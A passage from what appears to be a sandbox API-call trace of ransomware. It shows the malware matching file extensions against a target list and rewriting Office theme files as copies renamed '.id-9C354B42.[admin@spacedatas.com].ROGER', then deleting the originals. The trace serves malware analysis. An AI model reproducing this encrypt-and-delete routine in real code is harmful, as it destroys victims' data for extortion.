(lpString1=".doc", lpString2=".GIF") returned -1 [0048.039] lstrlenW (lpString=".docx") returned 5 [0048.039] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.039] lstrlenW (lpString=".pdf") returned 4 [0048.039] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.039] lstrlenW (lpString=".xls") returned 4 [0048.039] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.039] lstrlenW (lpString=".xlsx") returned 5 [0048.039] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.040] lstrlenW (lpString=".ppt") returned 4 [0048.040] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0048.040] lstrlenW (lpString=".zip") returned 4 [0048.040] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.040] lstrlenW (lpString=".rar") returned 4 [0048.040] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.040] lstrlenW (lpString=".bz2") returned 4 [0048.040] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.040] lstrlenW (lpString=".7z") returned 3 [0048.040] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0048.040] lstrlenW (lpString=".dbf") returned 4 [0048.040] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0048.040] lstrlenW (lpString=".1cd") returned 4 [0048.040] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0048.040] lstrlenW (lpString=".jpg") returned 4 [0048.040] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.040] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0048.040] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.040] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0048.041] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=1453) returned 1 [0048.041] CloseHandle (hObject=0x3e4) returned 1 [0048.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif")) returned 0x20 [0048.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.041] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0048.041] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.041] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.041] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0048.043] GetLastError () returned 0x0 [0048.043] ReadFile (in: hFile=0x3e4, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x5ad, lpOverlapped=0x0) returned 1 [0048.044] WriteFile (in: hFile=0x3a0, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0048.045] ReadFile (in: hFile=0x3e4, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.045] WriteFile (in: hFile=0x3a0, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.045] SetEndOfFile (hFile=0x3a0) returned 1 [0048.045] CloseHandle (hObject=0x3a0) returned 1 [0048.045] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.045] SetEndOfFile (hFile=0x3e4) returned 1 [0048.046] CloseHandle (hObject=0x3e4) returned 1 [0048.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.046] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif")) returned 1 [0048.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0048.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0048.046] lstrlenW (lpString=".doc") returned 4 [0048.046] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.046] lstrlenW (lpString=".docx") returned 5 [0048.046] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.047] lstrlenW (lpString=".pdf") returned 4 [0048.047] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.047] lstrlenW (lpString=".xls") returned 4 [0048.047] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.047] lstrlenW (lpString=".xlsx") returned 5 [0048.047] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.047] lstrlenW (lpString=".ppt") returned 4 [0048.047] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0048.047] lstrlenW (lpString=".zip") returned 4 [0048.047] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.047] lstrlenW (lpString=".rar") returned 4 [0048.047] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.047] lstrlenW (lpString=".bz2") returned 4 [0048.047] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.047] lstrlenW (lpString=".7z") returned 3 [0048.047] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0048.047] lstrlenW (lpString=".dbf") returned 4 [0048.047] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0048.047] lstrlenW (lpString=".1cd") returned 4 [0048.047] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0048.047] lstrlenW (lpString=".jpg") returned 4 [0048.047] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0048.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0048.047] lstrlenW (lpString=".doc") returned 4 [0048.047] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.047] lstrlenW (lpString=".docx") returned 5 [0048.047] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.047] lstrlenW (lpString=".pdf") returned 4 [0048.048] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.048] lstrlenW (lpString=".xls") returned 4 [0048.048] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.048] lstrlenW (lpString=".xlsx") returned 5 [0048.048] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.048] lstrlenW (lpString=".ppt") returned 4 [0048.048] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0048.048] lstrlenW (lpString=".zip") returned 4 [0048.048] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.048] lstrlenW (lpString=".rar") returned 4 [0048.048] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.048] lstrlenW (lpString=".bz2") returned 4 [0048.048] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.048] lstrlenW (lpString=".7z") returned 3 [0048.048] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0048.048] lstrlenW (lpString=".dbf") returned 4 [0048.048] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0048.048] lstrlenW (lpString=".1cd") returned 4 [0048.048] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0048.048] lstrlenW (lpString=".jpg") returned 4 [0048.048] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.048] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0048.048] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.048] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0048.049] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=25106) returned 1 [0048.049] CloseHandle (hObject=0x3e4) returned 1 [0048.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 0x20 [0048.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.050] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0048.050] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.050] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.050] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0048.050] GetLastError () returned 0x0 [0048.050] ReadFile (in: hFile=0x3e4, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x6212, lpOverlapped=0x0) returned 1 [0048.052] WriteFile (in: hFile=0x3a0, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x6220, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x6220, lpOverlapped=0x0) returned 1 [0048.053] ReadFile (in: hFile=0x3e4, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.053] WriteFile (in: hFile=0x3a0, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.054] SetEndOfFile (hFile=0x3a0) returned 1 [0048.054] CloseHandle (hObject=0x3a0) returned 1 [0048.054] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.054] SetEndOfFile (hFile=0x3e4) returned 1 [0048.055] CloseHandle (hObject=0x3e4) returned 1 [0048.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.055] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 1 [0048.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0048.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0048.055] lstrlenW (lpString=".doc") returned 4 [0048.055] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.055] lstrlenW (lpString=".docx") returned 5 [0048.055] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.055] lstrlenW (lpString=".pdf") returned 4 [0048.055] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.055] lstrlenW (lpString=".xls") returned 4 [0048.055] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.055] lstrlenW (lpString=".xlsx") returned 5 [0048.055] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.055] lstrlenW (lpString=".ppt") returned 4 [0048.055] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0048.056] lstrlenW (lpString=".zip") returned 4 [0048.056] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.056] lstrlenW (lpString=".rar") returned 4 [0048.056] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.056] lstrlenW (lpString=".bz2") returned 4 [0048.056] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.056] lstrlenW (lpString=".7z") returned 3 [0048.056] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0048.056] lstrlenW (lpString=".dbf") returned 4 [0048.056] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0048.056] lstrlenW (lpString=".1cd") returned 4 [0048.056] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0048.056] lstrlenW (lpString=".jpg") returned 4 [0048.056] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0048.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0048.056] lstrlenW (lpString=".doc") returned 4 [0048.056] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.056] lstrlenW (lpString=".docx") returned 5 [0048.056] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.056] lstrlenW (lpString=".pdf") returned 4 [0048.056] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.056] lstrlenW (lpString=".xls") returned 4 [0048.056] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.056] lstrlenW (lpString=".xlsx") returned 5 [0048.056] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.056] lstrlenW (lpString=".ppt") returned 4 [0048.056] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0048.057] lstrlenW (lpString=".zip") returned 4 [0048.057] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.057] lstrlenW (lpString=".rar") returned 4 [0048.057] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.057] lstrlenW (lpString=".bz2") returned 4 [0048.057] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.057] lstrlenW (lpString=".7z") returned 3 [0048.057] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0048.057] lstrlenW (lpString=".dbf") returned 4 [0048.057] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0048.057] lstrlenW (lpString=".1cd") returned 4 [0048.057] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0048.057] lstrlenW (lpString=".jpg") returned 4 [0048.057] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.057] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0048.057] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.057] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0048.311] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=1347) returned 1 [0048.311] CloseHandle (hObject=0x390) returned 1 [0048.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 0x20 [0048.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.311] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0048.311] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.311] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.312] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0048.372] GetLastError () returned 0x0 [0048.372] ReadFile (in: hFile=0x390, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x543, lpOverlapped=0x0) returned 1 [0048.373] WriteFile (in: hFile=0x340, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x550, lpOverlapped=0x0) returned 1 [0048.374] ReadFile (in: hFile=0x390, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.374] WriteFile (in: hFile=0x340, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.374] SetEndOfFile (hFile=0x340) returned 1 [0048.374] CloseHandle (hObject=0x340) returned 1 [0048.375] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.375] SetEndOfFile (hFile=0x390) returned 1 [0048.375] CloseHandle (hObject=0x390) returned 1 [0048.375] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.376] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 1 [0048.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0048.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0048.376] lstrlenW (lpString=".doc") returned 4 [0048.376] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.376] lstrlenW (lpString=".docx") returned 5 [0048.376] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.376] lstrlenW (lpString=".pdf") returned 4 [0048.376] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.376] lstrlenW (lpString=".xls") returned 4 [0048.376] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.376] lstrlenW (lpString=".xlsx") returned 5 [0048.376] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.376] lstrlenW (lpString=".ppt") returned 4 [0048.376] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0048.376] lstrlenW (lpString=".zip") returned 4 [0048.376] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.376] lstrlenW (lpString=".rar") returned 4 [0048.376] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.376] lstrlenW (lpString=".bz2") returned 4 [0048.376] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.377] lstrlenW (lpString=".7z") returned 3 [0048.377] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0048.377] lstrlenW (lpString=".dbf") returned 4 [0048.377] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0048.377] lstrlenW (lpString=".1cd") returned 4 [0048.377] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0048.377] lstrlenW (lpString=".jpg") returned 4 [0048.377] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0048.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0048.377] lstrlenW 